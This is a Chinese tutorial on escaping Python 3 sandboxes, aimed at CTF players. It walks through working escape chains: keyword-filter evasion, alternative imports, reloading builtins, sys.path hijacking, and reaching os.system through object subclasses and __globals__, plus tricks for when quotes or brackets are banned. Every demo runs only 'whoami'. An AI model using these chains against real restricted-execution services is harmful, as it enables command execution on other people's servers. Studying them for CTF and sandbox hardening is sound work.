Python沙箱逃逸

当Python代码在服务器上运行的时候,总会遇到一些限制,如何突破这些限制并执行我们想要执行的命令,这就是Python沙箱逃逸需要关心的内容。

本文重点关注Python3的沙箱逃逸,暂不包含有关Python2的相关内容。

危险模块

Python中有很多危险的模块可以用来执行命令,如:

# os
os.system('whoami')
os.popen('whoami').read()

# subprocess
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

# danger method
eval('os.system("whoami")')
exec('os.system("whoami")')

因此,为了防止在特定环境下被恶意执行命令,Python的运行环境内经常会存在一些机制来防止这样的事情发生,因此这也是CTF竞赛中的一项常见考点。
不过在实际生产环境中,如果有需要在服务端运行的用户脚本,选用docker则是更加明智的选择。

绕过关键词过滤

关键词过滤是最简单的过滤方式,比如禁止存在lssystem等敏感词。但Python的高灵活性使得绕过变得十分简单。
同样想要执行whoami指令,我们可以创造出如下的形式来绕过简单的字符串匹配,构造whoami字符串:

>>> import os
>>> os.system('whoami')
>>> os.system('who' + 'ami')
>>> os.system('who' + 'ima'[::-1])
>>> getattr(os, 'sys' + 'tem')('whoami')
>>> os.__getattribute__('system')('whoami')
>>> os.system(bytes([119, 104, 111, 97, 109, 105]).decode())
>>> os.__dict__['metsys'[::-1]]('whoami')
>>>
>>> import base64
>>> os.__dict__[(base64.b64decode(bytes([98, 87, 86, 48, 99, 51, 108, 122]))[::-1]).decode()]('whoami')

以上的语句最终都能调用ossystem方法,进而执行我们想要执行的命令。
由于Python的高灵活性,基本上能够在字符串上限制你发挥的只有一个东西——你的想象力

花样import

由上文的讨论,只要import os被执行,那么调用其system的方式就变得五花八门,极难被拦截。
因此,很多时候会被阻止使用import语句,但是import的方式也有很多中,详见如下的例子:

>>> import os
>>> __import__('os')
>>>
>>> import importlib
>>> importlib.import_module('os')
>>>
>>> from os import system
>>>
>>> eval('__import__("os").system("whoami")')
>>> exec('__import__("os").system("whoami")')
>>>
>>> with open('/path/to/os.py','r') as f:
>>>     exec(f.read())
>>> system('whoami')

进一步了解一下Python对于模块的导入过程:

Python导入模块时,会先判断sys.modules是否已经加载了该模块,如果没有加载则从sys.path中的目录按照模块名查找pypycpyd文件,找到后执行该文件载入内存并添加至sys.modules中,再将模块名称导入Local命名空间。如果a.py中存在import b,则在import aa,b两个模块都会添加至sys.modules中,但仅将a导入Local命名空间。通过from x import y时,则将x添加至sys.modules中,将y导入Local命名空间。

而对于import行为本身,由于其通过sys.path搜索路径,如果我们可以在运行目录写入文件,或向其他目录写入文件,并通过改变sys.path的值,进而引入我们自定义的模块,从而覆盖沙箱中所调用的模块——如ramdom,使得随机可控等。例如:

>>> sys.path.append('/path/to/my/code')
>>> sys.path[-1]
'/path/to/my/code'

对于另一个与导入模块息息相关的sys.modules,它包含了从Python开始执行起所包含的全部导入的模块。如果将其中的部分模块设置为None,就无法再次引用了;并且,若将模块从sys.modules中移除,那么这个模块就彻底不可用了。

>>> sys.modules['os']
<module 'os' from '/usr/lib/python3.8/os.py'>
>>> sys.modules['os'] = None
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: import of os halted; None in sys.modules

重新导入

Python将一些常用的模块放在了内建模块——__builtins__中,这些函数无需导入即可使用,如evalopen,在一些环境中会将__builtins__的大部分内容置为None来进行限制,这种时候我们的第一种策略是尝试重新导入:

>>> from imp import reload
<stdin>:1: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
>>> reload(__builtins__)
<module 'builtins' (built-in)>
>>>
>>> from importlib import reload
>>> reload(__builtins__)
<module 'builtins' (built-in)>

一切皆对象

在Python中,一切均为对象,在Python3中一切类都默认继承自object类、继承object的全部方法,因此,可以通过获取object对象来进行更进一步的操作。

获取object类

Python建议类的protected类型、private类型及内部变量分别以_xxx__yyy__zzz__的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。因此,我们可以使用内置的方法获取对象的父类、子类。

首先,可以看一下我们能够入手的class有多少:

>>> [].__class__
<class 'list'>
>>> {}.__class__
<class 'dict'>
>>> ().__class__
<class 'tuple'>
>>> ''.__class__
<class 'str'>

可以看到,如上的几个组合均顺利获取到了其类型——均为class,于是我们可以利用如下的方式获取其基类——object

>>> {}.__class__.__base__
<class 'object'>
>>> {}.__class__.__bases__[0]
<class 'object'>
>>> {}.__class__.__mro__[-1]
<class 'object'>

至此,我们一般可以通过几个思路来获取我们需要的危险方法

  1. 如果object的某个派生类中存在危险方法,就可以直接拿来用
  2. 如果object的某个派生类导入了危险模块,就可以链式调用危险方法
  3. 如果object的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用
  4. 基本类型的某些方法属于特殊方法,可以通过链式调用

获取object的子类

当我们获取到了基类之后,可以先看看它存在哪些子类:

>>> for i in enumerate({}.__class__.__base__.__subclasses__()): print(i)
(0, <class 'type'>)
...
(6, <class 'bytes'>)
(7, <class 'list'>)
...
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
...
(22, <class 'str'>)
...

实施逃逸

在获取到子类列表之后,我们可以做的事情就很多了,比如,对于builtin_function_or_method,我们可以利用它的__call__函数:

>>> {}.__class__.__base__.__subclasses__()[37].__call__(eval,"__import__('os').system('whoami')")

我们也可以利用__init__.__globals__获取到全部全局变量字典:

>>> dir({}.__class__.__base__.__subclasses__()[-2].__init__.__globals__)
['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']

但获取__globals__的过程中,要注意选择__init__的描述中不含有warped的对象:

>>> {}.__class__.__base__.__subclasses__()[0].__init__
<slot wrapper '__init__' of 'type' objects>
>>> {}.__class__.__base__.__subclasses__()[-1].__init__
<function Completer.__init__ at 0x7fbd7f4fff70>

其原因在于,wrapper_descriptor是不含有__globals__对象的,而我们需要使用function对象的__globals__来获取。

一旦获取了__globals__,其中的可操作性变得很高,因为其中含有sys__builtins__这类危险模块,可以使用字典直接获取:

>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['sys'].modules['os'].system('whoami')
>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

同时也可以间接调用危险模块:

>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')

最后,我们还可以使用一些基本类的方法来实现同样的效果:

>>> [].append.__class__.__call__(eval, "__import__('os').system('whoami')")

限制绕过

不允许使用引号

但输入不允许包含引号时,意味着我们无法自行构造字符串来进行字典访问,这时候一般有如下策略,为方便我这里将其进行赋值,实际操作中可以将其展开使用:

  1. 使用keys()函数加数组引索的方式获取:
    >>> globals_ = {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__
    >>> globals_[list(globals_.keys())[9]]
    <module 'sys' (built-in)>
  2. 使用bytes类进行构造字符串
    >>> globals_ = {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__
    >>> bytes_ = {}.__class__.__base__.__subclasses__()[6]
    >>> globals_[bytes_([115, 121, 115]).decode()]
    <module 'sys' (built-in)>

不允许使用[]

这种时候一般利用__getitem__函数进行获取数组对象。

>>> {}.__class__.__base__.__subclasses__().__getitem__(6)
<class 'bytes'>

Reference

  1. 《从0到1 CTFer成长之路》 3.2.1
  2. Python 沙盒
  3. Python沙箱逃逸
  4. 一文看懂Python沙箱逃逸
  5. python沙盒总结
  6. python 沙箱逃逸与SSTI